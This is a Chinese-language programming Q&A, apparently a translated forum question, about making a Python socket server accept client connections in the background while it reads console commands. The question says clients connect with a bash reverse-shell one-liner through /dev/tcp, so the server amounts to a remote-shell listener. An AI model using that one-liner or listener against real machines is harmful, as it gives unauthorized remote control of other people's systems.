python - 如何在后台接受新的连接请求?
问题描述
我有接受来自客户端的连接请求的服务器。客户端使用以下命令发送连接请求:bash -i > /dev/tcp/ip/port 0<&1 1>&1
. 我希望我的服务器立即接受新的连接请求并将它们记录到控制台,但我不知道如何。在下面的代码中有while循环。正如我们所见,command_accept() 需要自行完成,client_accept() 才能启动。这意味着我总是需要传递一些命令来接受新的客户端请求。我需要 client_accept() 始终在后台运行。
我试图为我的输入设置时间限制,但这不是我需要的解决方案。我也尝试了不同的库来进行异步编程,尽管我不确定我是否正确地做到了这一点。
import socket
import time
import sys
host = '127.0.0.1'
port = 1344
id_counter = 0
server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.settimeout(0.1)
server.bind((host, port))
server.listen()
clients = {}
def client_accept(server):
while True:
try:
conn, addr = server.accept()
global id_counter
id_counter += 1
clients[id_counter] = (conn, addr)
print(f'{time.ctime()} New client [ID {id_counter}] with address {str(addr[0])}:{str(addr[1])}')
except socket.timeout:
break
def command_accept():
command = input('server > ')
#** don't pay attention **#
if command == 'exit':
sys.exit()
else:
print(f'command {command} accepted!')
while True:
command_accept()
client_accept(server)
预期结果:我没有向 command_accept 中的输入传递任何内容,但如果新客户端发送请求,则服务器将立即接受它并打印地址为 127.0.0.1:45431 的新客户端 [ID 1] 之类的内容。
解决方案
尝试使用 socket.io 和 Threading 执行此操作,因此如果套接字收到 ON_CONNECT 事件,您可以将信息推送到列表中并将其打印到控制台。
推荐阅读
- javascript - 转换后文件损坏
- java - 尝试使用字符串和对象数组作为输入参数创建方法时出现 Javassist.CannotCompileException
- node.js - 未知的顶级运营商:$geoNear
- javascript - JS - 在头部更快地加载脚本
- python - DRF ,将检索功能路由到发布功能
- javascript - Javascript 使事件点击和语音识别与多个按钮一起工作
- python - 在模板内加载标签时出现 Django 404 错误
- julia - 没有返回的中断函数
- javascript - 如何过滤来自多个状态的数据从反应原生的不同API中获取数据
- java - 是否有标准的方式、模式或习语来处理位(用于流、编码等)?